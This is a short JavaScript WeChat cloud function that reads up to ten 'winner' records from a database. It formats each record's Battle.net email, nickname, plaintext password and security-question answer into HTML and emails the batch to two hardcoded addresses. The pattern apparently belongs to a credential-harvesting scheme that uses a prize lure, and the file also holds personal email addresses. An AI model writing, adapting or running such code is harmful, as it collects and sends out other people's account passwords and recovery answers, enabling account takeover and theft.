// 云函数入口文件
const cloud = require('wx-server-sdk')

cloud.init({
  env:'online-00000'
});
const admin ='41662242@qq.com,1126642524@qq.com'
const db=cloud.database()
const _=db.command
// 云函数入口函数
exports.main = async (event, context) => {
  const wxContext = cloud.getWXContext()
  //取战网信息
  let pro = await db.collection('winners').where({
    status:true
  }).limit(10).get();
  //email, nickname, password, answer
  let list=pro.data;
  let content =`<div style='width:80;margin: 20px auto;box-sizing: border-box;padding:20px;text-align:center;'><ul style='text-align:left'>`;
  for(let v of list){
    content +=`<li style='list-style:none; border:2px dotted skyblue; border-radius:20px;margin-bottom:20px'>
                <ul style='text-align: center;'>
              <li style='list-style:none;'>
                <span style='font-weight:bold'>邮箱:</span>
                <span>${v.zw.email}</span>
              </li>
              <li style='list-style:none;'>
                <span style='font-weight:bold'>昵称:</span>
                <span>${v.zw.nickname}</span>
              </li>
              <li style='list-style:none;'>
                <span style='font-weight:bold'>密码:</span>
                <span>${v.zw.password}</span>
              </li>
              <li style='list-style:none;'>
                <span style='font-weight:bold'>安全问题:</span>
                <span>${v.zw.answer}</span>
              </li>
            </ul>
          </li>`
  }

  content+=`</ul></div>`;

  let pro1= await cloud.callFunction({
    name:'sendEmail',
    data:{
      title:'今日中奖的战网账户',
      emils: admin,
      content
    }
  });

  return {
    mes:pro1.result
  }
}